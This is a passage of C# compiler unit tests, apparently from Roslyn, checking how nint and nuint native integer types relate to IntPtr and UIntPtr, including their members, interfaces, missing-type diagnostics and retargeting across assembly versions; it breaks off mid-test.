private static void VerifyTypes(NamedTypeSymbol underlyingType, NamedTypeSymbol nativeIntegerType, bool signed)
{
VerifyType(underlyingType, signed, isNativeInt: false);
VerifyType(nativeIntegerType, signed, isNativeInt: true);
Assert.Same(underlyingType.ContainingSymbol, nativeIntegerType.ContainingSymbol);
Assert.Same(underlyingType.Name, nativeIntegerType.Name);
VerifyMembers(underlyingType, nativeIntegerType, signed);
VerifyInterfaces(underlyingType, underlyingType.InterfacesNoUseSiteDiagnostics(), nativeIntegerType, nativeIntegerType.InterfacesNoUseSiteDiagnostics());
VerifyInterfaces(underlyingType, underlyingType.GetDeclaredInterfaces(null), nativeIntegerType, nativeIntegerType.GetDeclaredInterfaces(null));
Assert.Null(underlyingType.NativeIntegerUnderlyingType);
Assert.Same(nativeIntegerType, underlyingType.AsNativeInteger());
Assert.Same(underlyingType, nativeIntegerType.NativeIntegerUnderlyingType);
VerifyEqualButDistinct(underlyingType, underlyingType.AsNativeInteger());
VerifyEqualButDistinct(nativeIntegerType, nativeIntegerType.NativeIntegerUnderlyingType);
VerifyEqualButDistinct(underlyingType, nativeIntegerType);
VerifyTypes(underlyingType.GetPublicSymbol(), nativeIntegerType.GetPublicSymbol(), signed);
}
private static void VerifyEqualButDistinct(NamedTypeSymbol underlyingType, NamedTypeSymbol nativeIntegerType)
{
Assert.NotSame(underlyingType, nativeIntegerType);
Assert.NotEqual(underlyingType, nativeIntegerType);
Assert.NotEqual(nativeIntegerType, underlyingType);
Assert.False(underlyingType.Equals(nativeIntegerType, TypeCompareKind.ConsiderEverything));
Assert.False(nativeIntegerType.Equals(underlyingType, TypeCompareKind.ConsiderEverything));
Assert.True(underlyingType.Equals(nativeIntegerType, TypeCompareKind.IgnoreNativeIntegers));
Assert.True(nativeIntegerType.Equals(underlyingType, TypeCompareKind.IgnoreNativeIntegers));
Assert.Equal(underlyingType.GetHashCode(), nativeIntegerType.GetHashCode());
}
private static void VerifyInterfaces(NamedTypeSymbol underlyingType, ImmutableArray<NamedTypeSymbol> underlyingInterfaces, NamedTypeSymbol nativeIntegerType, ImmutableArray<NamedTypeSymbol> nativeIntegerInterfaces)
{
Assert.Equal(underlyingInterfaces.Length, nativeIntegerInterfaces.Length);
for (int i = 0; i < underlyingInterfaces.Length; i++)
{
verifyInterface(underlyingInterfaces[i], nativeIntegerInterfaces[i]);
}
void verifyInterface(NamedTypeSymbol underlyingInterface, NamedTypeSymbol nativeIntegerInterface)
{
Assert.True(underlyingInterface.Equals(nativeIntegerInterface, TypeCompareKind.IgnoreNativeIntegers));
for (int i = 0; i < underlyingInterface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; i++)
{
var underlyingTypeArgument = underlyingInterface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].Type;
var nativeIntegerTypeArgument = nativeIntegerInterface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].Type;
Assert.Equal(underlyingTypeArgument.Equals(underlyingType, TypeCompareKind.AllIgnoreOptions), nativeIntegerTypeArgument.Equals(nativeIntegerType, TypeCompareKind.AllIgnoreOptions));
}
}
}
private static void VerifyMembers(NamedTypeSymbol underlyingType, NamedTypeSymbol nativeIntegerType, bool signed)
{
Assert.Empty(nativeIntegerType.GetTypeMembers());
var nativeIntegerMembers = nativeIntegerType.GetMembers();
var underlyingMembers = underlyingType.GetMembers();
var nativeIntegerMemberNames = nativeIntegerType.MemberNames;
AssertEx.Equal(nativeIntegerMembers.SelectAsArray(m => m.Name), nativeIntegerMemberNames);
var expectedMembers = underlyingMembers.WhereAsArray(m => includeUnderlyingMember(m)).Sort(SymbolComparison);
var actualMembers = nativeIntegerMembers.WhereAsArray(m => includeNativeIntegerMember(m)).Sort(SymbolComparison);
Assert.Equal(expectedMembers.Length, actualMembers.Length);
for (int i = 0; i < expectedMembers.Length; i++)
{
VerifyMember(actualMembers[i], expectedMembers[i], signed);
}
static bool includeUnderlyingMember(Symbol underlyingMember)
{
if (underlyingMember.DeclaredAccessibility != Accessibility.Public)
{
return false;
}
switch (underlyingMember.Kind)
{
case SymbolKind.Method:
var method = (MethodSymbol)underlyingMember;
if (method.IsGenericMethod)
{
return false;
}
switch (method.MethodKind)
{
case MethodKind.Ordinary:
return !IsSkippedMethodName(method.Name);
case MethodKind.PropertyGet:
case MethodKind.PropertySet:
return includeUnderlyingMember(method.AssociatedSymbol);
default:
return false;
}
case SymbolKind.Property:
var property = (PropertySymbol)underlyingMember;
return property.ParameterCount == 0 && !IsSkippedPropertyName(property.Name);
default:
return false;
}
}
static bool includeNativeIntegerMember(Symbol nativeIntegerMember)
{
return !(nativeIntegerMember is MethodSymbol { MethodKind: MethodKind.Constructor });
}
}
private static void VerifyMembers(NamedTypeSymbol type)
{
var memberNames = type.MemberNames;
var allMembers = type.GetMembers();
Assert.Equal(allMembers, type.GetMembers()); // same array
foreach (var member in allMembers)
{
Assert.Contains(member.Name, memberNames);
verifyMember(type, member);
}
var unorderedMembers = type.GetMembersUnordered();
Assert.Equal(allMembers.Length, unorderedMembers.Length);
verifyMembers(type, allMembers, unorderedMembers);
foreach (var memberName in memberNames)
{
var members = type.GetMembers(memberName);
Assert.False(members.IsDefaultOrEmpty);
verifyMembers(type, allMembers, members);
}
static void verifyMembers(NamedTypeSymbol type, ImmutableArray<Symbol> allMembers, ImmutableArray<Symbol> members)
{
foreach (var member in members)
{
Assert.Contains(member, allMembers);
verifyMember(type, member);
}
}
static void verifyMember(NamedTypeSymbol type, Symbol member)
{
Assert.Same(type, member.ContainingSymbol);
Assert.Same(type, member.ContainingType);
if (member is MethodSymbol method)
{
var parameters = method.Parameters;
Assert.Equal(parameters, method.Parameters); // same array
}
}
}
private static void VerifyMembers(INamedTypeSymbol type)
{
var memberNames = type.MemberNames;
var allMembers = type.GetMembers();
Assert.Equal(allMembers, type.GetMembers(), ReferenceEqualityComparer.Instance); // same member instances
foreach (var member in allMembers)
{
Assert.Contains(member.Name, memberNames);
verifyMember(type, member);
}
foreach (var memberName in memberNames)
{
var members = type.GetMembers(memberName);
Assert.False(members.IsDefaultOrEmpty);
verifyMembers(type, allMembers, members);
}
static void verifyMembers(INamedTypeSymbol type, ImmutableArray<ISymbol> allMembers, ImmutableArray<ISymbol> members)
{
foreach (var member in members)
{
Assert.Contains(member, allMembers);
verifyMember(type, member);
}
}
static void verifyMember(INamedTypeSymbol type, ISymbol member)
{
Assert.Same(type, member.ContainingSymbol);
Assert.Same(type, member.ContainingType);
}
}
private static void VerifyMember(Symbol member, Symbol underlyingMember, bool signed)
{
var specialType = signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr;
Assert.Equal(member.Name, underlyingMember.Name);
Assert.Equal(member.DeclaredAccessibility, underlyingMember.DeclaredAccessibility);
Assert.Equal(member.IsStatic, underlyingMember.IsStatic);
Assert.NotEqual(member, underlyingMember);
Assert.True(member.Equals(underlyingMember, TypeCompareKind.IgnoreNativeIntegers));
Assert.False(member.Equals(underlyingMember, TypeCompareKind.ConsiderEverything));
Assert.Same(underlyingMember, getUnderlyingMember(member));
Assert.Equal(member.GetHashCode(), underlyingMember.GetHashCode());
switch (member.Kind)
{
case SymbolKind.Method:
{
var method = (MethodSymbol)member;
var underlyingMethod = (MethodSymbol)underlyingMember;
verifyTypes(method.ReturnTypeWithAnnotations, underlyingMethod.ReturnTypeWithAnnotations);
for (int i = 0; i < method.ParameterCount; i++)
{
VerifyMember(method.Parameters[i], underlyingMethod.Parameters[i], signed);
}
}
break;
case SymbolKind.Property:
{
var property = (PropertySymbol)member;
var underlyingProperty = (PropertySymbol)underlyingMember;
verifyTypes(property.TypeWithAnnotations, underlyingProperty.TypeWithAnnotations);
}
break;
case SymbolKind.Parameter:
{
var parameter = (ParameterSymbol)member;
var underlyingParameter = (ParameterSymbol)underlyingMember;
verifyTypes(parameter.TypeWithAnnotations, underlyingParameter.TypeWithAnnotations);
}
break;
default:
throw ExceptionUtilities.UnexpectedValue(member.Kind);
}
var explicitImplementations = member.GetExplicitInterfaceImplementations();
Assert.Equal(0, explicitImplementations.Length);
void verifyTypes(TypeWithAnnotations fromMember, TypeWithAnnotations fromUnderlyingMember)
{
Assert.True(fromMember.Equals(fromUnderlyingMember, TypeCompareKind.IgnoreNativeIntegers));
// No use of underlying type in native integer member.
Assert.False(containsType(fromMember, useNativeInteger: false));
// No use of native integer in underlying member.
Assert.False(containsType(fromUnderlyingMember, useNativeInteger: true));
// Use of underlying type in underlying member should match use of native type in native integer member.
Assert.Equal(containsType(fromMember, useNativeInteger: true), containsType(fromUnderlyingMember, useNativeInteger: false));
Assert.NotEqual(containsType(fromMember, useNativeInteger: true), fromMember.Equals(fromUnderlyingMember, TypeCompareKind.ConsiderEverything));
}
bool containsType(TypeWithAnnotations type, bool useNativeInteger)
{
return type.Type.VisitType((type, unused1, unused2) => type.SpecialType == specialType && useNativeInteger == type.IsNativeIntegerType, (object)null) is { };
}
static Symbol getUnderlyingMember(Symbol nativeIntegerMember)
{
switch (nativeIntegerMember.Kind)
{
case SymbolKind.Method:
return ((WrappedMethodSymbol)nativeIntegerMember).UnderlyingMethod;
case SymbolKind.Property:
return ((WrappedPropertySymbol)nativeIntegerMember).UnderlyingProperty;
case SymbolKind.Parameter:
return ((WrappedParameterSymbol)nativeIntegerMember).UnderlyingParameter;
default:
throw ExceptionUtilities.UnexpectedValue(nativeIntegerMember.Kind);
}
}
}
private static bool IsSkippedMethodName(string name)
{
switch (name)
{
case "Add":
case "Subtract":
case "ToInt32":
case "ToInt64":
case "ToUInt32":
case "ToUInt64":
case "ToPointer":
return true;
default:
return false;
}
}
private static bool IsSkippedPropertyName(string name)
{
switch (name)
{
case "Size":
return true;
default:
return false;
}
}
private static int SymbolComparison(Symbol x, Symbol y) => SymbolComparison(x.ToTestDisplayString(), y.ToTestDisplayString());
private static int SymbolComparison(ISymbol x, ISymbol y) => SymbolComparison(x.ToTestDisplayString(), y.ToTestDisplayString());
private static int SymbolComparison(string x, string y)
{
return string.CompareOrdinal(normalizeDisplayString(x), normalizeDisplayString(y));
static string normalizeDisplayString(string s) => s.Replace("System.IntPtr", "nint").Replace("System.UIntPtr", "nuint");
}
[Fact]
public void MissingTypes()
{
var sourceA =
@"namespace System
{
public class Object { }
public abstract class ValueType { }
public struct Void { }
}";
var sourceB =
@"interface I
{
void F1(System.IntPtr x, nint y);
void F2(System.UIntPtr x, nuint y);
}";
var diagnostics = new[]
{
// (3,20): error CS0234: The underlyingType or namespace name 'IntPtr' does not exist in the namespace 'System' (are you missing an assembly reference?)
// void F1(System.IntPtr x, nint y);
Diagnostic(ErrorCode.ERR_DottedTypeNameNotFoundInNS, "IntPtr").WithArguments("IntPtr", "System").WithLocation(3, 20),
// (3,30): error CS0518: Predefined underlyingType 'System.IntPtr' is not defined or imported
// void F1(System.IntPtr x, nint y);
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "nint").WithArguments("System.IntPtr").WithLocation(3, 30),
// (4,20): error CS0234: The underlyingType or namespace name 'UIntPtr' does not exist in the namespace 'System' (are you missing an assembly reference?)
// void F2(System.UIntPtr x, nuint y);
Diagnostic(ErrorCode.ERR_DottedTypeNameNotFoundInNS, "UIntPtr").WithArguments("UIntPtr", "System").WithLocation(4, 20),
// (4,31): error CS0518: Predefined underlyingType 'System.UIntPtr' is not defined or imported
// void F2(System.UIntPtr x, nuint y);
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "nuint").WithArguments("System.UIntPtr").WithLocation(4, 31)
};
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
verify(comp);
comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
verify(comp);
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
verify(comp);
static void verify(CSharpCompilation comp)
{
var method = comp.GetMember<MethodSymbol>("I.F1");
Assert.Equal("void I.F1(System.IntPtr x, nint y)", method.ToTestDisplayString());
VerifyErrorTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: true);
method = comp.GetMember<MethodSymbol>("I.F2");
Assert.Equal("void I.F2(System.UIntPtr x, nuint y)", method.ToTestDisplayString());
VerifyErrorTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: false);
}
}
private static void VerifyErrorType(NamedTypeSymbol type, SpecialType specialType, bool isNativeInt)
{
Assert.Equal(SymbolKind.ErrorType, type.Kind);
Assert.Equal(TypeKind.Error, type.TypeKind);
Assert.Equal(isNativeInt, type.IsNativeIntegerType);
Assert.Equal(specialType, type.SpecialType);
}
private static void VerifyErrorType(INamedTypeSymbol type, SpecialType specialType, bool isNativeInt)
{
Assert.Equal(SymbolKind.ErrorType, type.Kind);
Assert.Equal(TypeKind.Error, type.TypeKind);
Assert.Equal(isNativeInt, type.IsNativeIntegerType);
Assert.Equal(specialType, type.SpecialType);
}
private static void VerifyErrorTypes(NamedTypeSymbol underlyingType, NamedTypeSymbol nativeIntegerType, bool signed)
{
var specialType = signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr;
VerifyErrorType(underlyingType, SpecialType.None, isNativeInt: false);
VerifyErrorType(nativeIntegerType, specialType, isNativeInt: true);
Assert.Null(underlyingType.NativeIntegerUnderlyingType);
VerifyErrorType(nativeIntegerType.NativeIntegerUnderlyingType, specialType, isNativeInt: false);
VerifyEqualButDistinct(nativeIntegerType.NativeIntegerUnderlyingType, nativeIntegerType);
VerifyErrorTypes(underlyingType.GetPublicSymbol(), nativeIntegerType.GetPublicSymbol(), signed);
}
private static void VerifyErrorTypes(INamedTypeSymbol underlyingType, INamedTypeSymbol nativeIntegerType, bool signed)
{
var specialType = signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr;
VerifyErrorType(underlyingType, SpecialType.None, isNativeInt: false);
VerifyErrorType(nativeIntegerType, specialType, isNativeInt: true);
Assert.Null(underlyingType.NativeIntegerUnderlyingType);
VerifyErrorType(nativeIntegerType.NativeIntegerUnderlyingType, specialType, isNativeInt: false);
}
[Fact]
public void Retargeting_01()
{
var sourceA =
@"public class A
{
public static nint F1 = int.MinValue;
public static nuint F2 = int.MaxValue;
public static nint F3 = -1;
public static nuint F4 = 1;
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9, targetFramework: TargetFramework.Mscorlib40);
var refA = comp.ToMetadataReference();
var typeA = comp.GetMember<FieldSymbol>("A.F1").Type;
var corLibA = comp.Assembly.CorLibrary;
Assert.Equal(corLibA, typeA.ContainingAssembly);
var sourceB =
@"class B : A
{
static void Main()
{
System.Console.WriteLine(""{0}, {1}, {2}, {3}"", F1, F2, F3, F4);
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9, targetFramework: TargetFramework.Mscorlib45);
CompileAndVerify(comp, expectedOutput: $"{int.MinValue}, {int.MaxValue}, -1, 1");
var corLibB = comp.Assembly.CorLibrary;
Assert.NotEqual(corLibA, corLibB);
var f1 = comp.GetMember<FieldSymbol>("A.F1");
verifyField(f1, "nint A.F1", corLibB);
var f2 = comp.GetMember<FieldSymbol>("A.F2");
verifyField(f2, "nuint A.F2", corLibB);
var f3 = comp.GetMember<FieldSymbol>("A.F3");
verifyField(f3, "nint A.F3", corLibB);
var f4 = comp.GetMember<FieldSymbol>("A.F4");
verifyField(f4, "nuint A.F4", corLibB);
Assert.Same(f1.Type, f3.Type);
Assert.Same(f2.Type, f4.Type);
static void verifyField(FieldSymbol field, string expectedSymbol, AssemblySymbol expectedAssembly)
{
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(field);
Assert.Equal(expectedSymbol, field.ToTestDisplayString());
var type = (NamedTypeSymbol)field.Type;
Assert.True(type.IsNativeIntegerType);
Assert.IsType<NativeIntegerTypeSymbol>(type);
Assert.Equal(expectedAssembly, type.NativeIntegerUnderlyingType.ContainingAssembly);
}
}
[Fact]
public void Retargeting_02()
{
var source1 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr { }
public struct UIntPtr { }
}";
var assemblyName = GetUniqueName();
var comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(1, 0, 0, 0)), new[] { source1 }, references: null);
var ref1 = comp.EmitToImageReference();
var sourceA =
@"public class A
{
public static nint F1 = -1;
public static nuint F2 = 1;
public static nint F3 = -2;
public static nuint F4 = 2;
}";
comp = CreateEmptyCompilation(sourceA, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var refA = comp.ToMetadataReference();
var typeA = comp.GetMember<FieldSymbol>("A.F1").Type;
var corLibA = comp.Assembly.CorLibrary;
Assert.Equal(corLibA, typeA.ContainingAssembly);
var source2 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
}";
comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(2, 0, 0, 0)), new[] { source2 }, references: null);
var ref2 = comp.EmitToImageReference();
var sourceB =
@"class B : A
{
static void Main()
{
_ = F1;
_ = F2;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2, refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,13): error CS0518: Predefined type 'System.IntPtr' is not defined or imported
// _ = F1;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "F1").WithArguments("System.IntPtr").WithLocation(5, 13),
// (6,13): error CS0518: Predefined type 'System.UIntPtr' is not defined or imported
// _ = F2;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "F2").WithArguments("System.UIntPtr").WithLocation(6, 13));
var corLibB = comp.Assembly.CorLibrary;
Assert.NotEqual(corLibA, corLibB);
var f1 = comp.GetMember<FieldSymbol>("A.F1");
verifyField(f1, "nint A.F1", corLibB);
var f2 = comp.GetMember<FieldSymbol>("A.F2");
verifyField(f2, "nuint A.F2", corLibB);
var f3 = comp.GetMember<FieldSymbol>("A.F3");
verifyField(f3, "nint A.F3", corLibB);
var f4 = comp.GetMember<FieldSymbol>("A.F4");
verifyField(f4, "nuint A.F4", corLibB);
// MissingMetadataTypeSymbol.TopLevel instances are not reused.
Assert.Equal(f1.Type, f3.Type);
Assert.NotSame(f1.Type, f3.Type);
Assert.Equal(f2.Type, f4.Type);
Assert.NotSame(f2.Type, f4.Type);
static void verifyField(FieldSymbol field, string expectedSymbol, AssemblySymbol expectedAssembly)
{
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(field);
Assert.Equal(expectedSymbol, field.ToTestDisplayString());
var type = (NamedTypeSymbol)field.Type;
Assert.True(type.IsNativeIntegerType);
Assert.IsType<MissingMetadataTypeSymbol.TopLevel>(type);
Assert.Equal(expectedAssembly, type.NativeIntegerUnderlyingType.ContainingAssembly);
}
}
[Fact]
public void Retargeting_03()
{
var source1 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
}";
var assemblyName = GetUniqueName();
var comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(1, 0, 0, 0)), new[] { source1 }, references: null);
var ref1 = comp.EmitToImageReference();
var sourceA =
@"public class A
{
public static nint F1 = -1;
public static nuint F2 = 1;
}";
comp = CreateEmptyCompilation(sourceA, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (3,19): error CS0518: Predefined type 'System.IntPtr' is not defined or imported
// public static nint F1 = -1;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "nint").WithArguments("System.IntPtr").WithLocation(3, 19),
// (4,19): error CS0518: Predefined type 'System.UIntPtr' is not defined or imported
// public static nuint F2 = 1;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "nuint").WithArguments("System.UIntPtr").WithLocation(4, 19));
var refA = comp.ToMetadataReference();
var typeA = comp.GetMember<FieldSymbol>("A.F1").Type;
var corLibA = comp.Assembly.CorLibrary;
Assert.Equal(corLibA, typeA.ContainingAssembly);
var source2 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr { }
public struct UIntPtr { }
}";
comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(2, 0, 0, 0)), new[] { source2 }, references: null);
var ref2 = comp.EmitToImageReference();
var sourceB =
@"class B : A
{
static void Main()
{
_ = F1;
_ = F2;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2, refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,13): error CS0518: Predefined type 'System.IntPtr' is not defined or imported
// _ = F1;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "F1").WithArguments("System.IntPtr").WithLocation(5, 13),
// (6,13): error CS0518: Predefined type 'System.UIntPtr' is not defined or imported
// _ = F2;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "F2").WithArguments("System.UIntPtr").WithLocation(6, 13));
var corLibB = comp.Assembly.CorLibrary;
Assert.NotEqual(corLibA, corLibB);
var f1 = comp.GetMember<FieldSymbol>("A.F1");
verifyField(f1, "nint A.F1", corLibA);
var f2 = comp.GetMember<FieldSymbol>("A.F2");
verifyField(f2, "nuint A.F2", corLibA);
static void verifyField(FieldSymbol field, string expectedSymbol, AssemblySymbol expectedAssembly)
{
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(field);
Assert.Equal(expectedSymbol, field.ToTestDisplayString());
var type = (NamedTypeSymbol)field.Type;
Assert.True(type.IsNativeIntegerType);
Assert.IsType<MissingMetadataTypeSymbol.TopLevel>(type);
Assert.Equal(expectedAssembly, type.NativeIntegerUnderlyingType.ContainingAssembly);
}
}
[Fact]
public void Retargeting_04()
{
var sourceA =
@"public class A
{
}";
var assemblyName = GetUniqueName();
var references = TargetFrameworkUtil.GetReferences(TargetFramework.Standard).ToArray();
var comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(1, 0, 0, 0)), new[] { sourceA }, references: references);
var refA1 = comp.EmitToImageReference();
comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(2, 0, 0, 0)), new[] { sourceA }, references: references);
var refA2 = comp.EmitToImageReference();
var sourceB =
@"public class B
{
public static A F0 = new A();
public static nint F1 = int.MinValue;
public static nuint F2 = int.MaxValue;
public static nint F3 = -1;
public static nuint F4 = 1;
}";
comp = CreateCompilation(sourceB, references: new[] { refA1 }, parseOptions: TestOptions.Regular9, targetFramework: TargetFramework.Standard);
var refB = comp.ToMetadataReference();
var f0B = comp.GetMember<FieldSymbol>("B.F0");
var t1B = comp.GetMember<FieldSymbol>("B.F1").Type;
var t2B = comp.GetMember<FieldSymbol>("B.F2").Type;
var sourceC =
@"class C : B
{
static void Main()
{
_ = F0;
_ = F1;
_ = F2;
}
}";
comp = CreateCompilation(sourceC, references: new[] { refA2, refB }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9, targetFramework: TargetFramework.Standard);
comp.VerifyDiagnostics();
var f0 = comp.GetMember<FieldSymbol>("B.F0");
Assert.NotEqual(f0B.Type.ContainingAssembly, f0.Type.ContainingAssembly);
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(f0);
var f1 = comp.GetMember<FieldSymbol>("B.F1");
verifyField(f1, "nint B.F1");
var f2 = comp.GetMember<FieldSymbol>("B.F2");
verifyField(f2, "nuint B.F2");
var f3 = comp.GetMember<FieldSymbol>("B.F3");
verifyField(f3, "nint B.F3");
var f4 = comp.GetMember<FieldSymbol>("B.F4");
verifyField(f4, "nuint B.F4");
Assert.Same(t1B, f1.Type);
Assert.Same(t2B, f2.Type);
Assert.Same(f1.Type, f3.Type);
Assert.Same(f2.Type, f4.Type);
static void verifyField(FieldSymbol field, string expectedSymbol)
{
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(field);
Assert.Equal(expectedSymbol, field.ToTestDisplayString());
var type = (NamedTypeSymbol)field.Type;
Assert.True(type.IsNativeIntegerType);
Assert.IsType<NativeIntegerTypeSymbol>(type);
}
}
[Theory]
[InlineData(false)]
[InlineData(true)]
public void Retargeting_05(bool useCompilationReference)
{
var source1 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Enum { }
public class Attribute { }
public class AttributeUsageAttribute : Attribute
{
public AttributeUsageAttribute(AttributeTargets validOn) { }
public bool AllowMultiple { get; set; }
public bool Inherited { get; set; }
}
public enum AttributeTargets { }
public struct IntPtr { }
public struct UIntPtr { }
}";
var comp = CreateCompilation(new AssemblyIdentity("9ef8b1e0-1ae0-4af6-b9a1-00f2078f299e", new Version(1, 0, 0, 0)), new[] { source1 }, references: null);
var ref1 = comp.EmitToImageReference(EmitOptions.Default.WithRuntimeMetadataVersion("0.0.0.0"));
var sourceA =
@"public abstract class A<T>
{
public abstract void F<U>() where U : T;
}
public class B : A<nint>
{
public override void F<U>() { }
}";
comp = CreateEmptyCompilation(sourceA, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var type1 = getConstraintType(comp);
Assert.True(type1.IsNativeIntegerType);
Assert.False(type1.IsErrorType());
var sourceB =
@"class C : B
{
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (1,7): error CS0518: Predefined type 'System.Void' is not defined or imported
// class C : B
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "C").WithArguments("System.Void").WithLocation(1, 7),
// (1,11): error CS0518: Predefined type 'System.IntPtr' is not defined or imported
// class C : B
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "B").WithArguments("System.IntPtr").WithLocation(1, 11),
// (1,11): error CS0012: The type 'Object' is defined in an assembly that is not referenced. You must add a reference to assembly '9ef8b1e0-1ae0-4af6-b9a1-00f2078f299e, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'.
// class C : B
Diagnostic(ErrorCode.ERR_NoTypeDef, "B").WithArguments("System.Object", "9ef8b1e0-1ae0-4af6-b9a1-00f2078f299e, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null").WithLocation(1, 11));
var type2 = getConstraintType(comp);
Assert.True(type2.ContainingAssembly.IsMissing);
Assert.False(type2.IsNativeIntegerType);
Assert.True(type2.IsErrorType());
static TypeSymbol getConstraintType(CSharpCompilation comp) =>
comp.GetMember<MethodSymbol>("B.F").TypeParameters[0].ConstraintTypesNoUseSiteDiagnostics[0].Type;
}
[Fact]
public void Retargeting_06()
{
var source1 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public class IntPtr { }
public class UIntPtr { }
}";
var comp = CreateCompilation(new AssemblyIdentity("c804cc09-8f73-44a1-9cfe-9567bed1def6", new Version(1, 0, 0, 0)), new[] { source1 }, references: null);
var ref1 = comp.EmitToImageReference();
var sourceA =
@"public class A : nint
{
}";
comp = CreateEmptyCompilation(sourceA, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
var refA = comp.ToMetadataReference();
var typeA = comp.GetMember<NamedTypeSymbol>("A").BaseTypeNoUseSiteDiagnostics;
Assert.True(typeA.IsNativeIntegerType);
Assert.False(typeA.IsErrorType());
var sourceB =
@"class B : A
{
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (1,7): error CS0518: Predefined type 'System.Void' is not defined or imported
// class B : A
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "B").WithArguments("System.Void").WithLocation(1, 7),
// (1,11): error CS0012: The type 'IntPtr' is defined in an assembly that is not referenced. You must add a reference to assembly 'c804cc09-8f73-44a1-9cfe-9567bed1def6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'.
// class B : A
Diagnostic(ErrorCode.ERR_NoTypeDef, "A").WithArguments("System.IntPtr", "c804cc09-8f73-44a1-9cfe-9567bed1def6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null").WithLocation(1, 11));
var typeB = comp.GetMember<NamedTypeSymbol>("A").BaseTypeNoUseSiteDiagnostics;
Assert.True(typeB.ContainingAssembly.IsMissing);
Assert.False(typeB.IsNativeIntegerType);
Assert.True(typeB.IsErrorType());
}
[Fact]
public void Interfaces()
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface ISerializable { }
public interface IEquatable<T>
{
bool Equals(T other);
}
public interface IOther<T> { }
public struct IntPtr : ISerializable, IEquatable<IntPtr>, IOther<IntPtr>
{
bool IEquatable<IntPtr>.Equals(IntPtr other) => false;
}
}";
var sourceB =
@"using System;
class Program
{
static void F0(ISerializable i) { }
static object F1(IEquatable<IntPtr> i) => default;
static void F2(IEquatable<nint> i) { }
static void F3<T>(IOther<T> i) { }
static void Main()
{
nint n = 42;
F0(n);
F1(n);
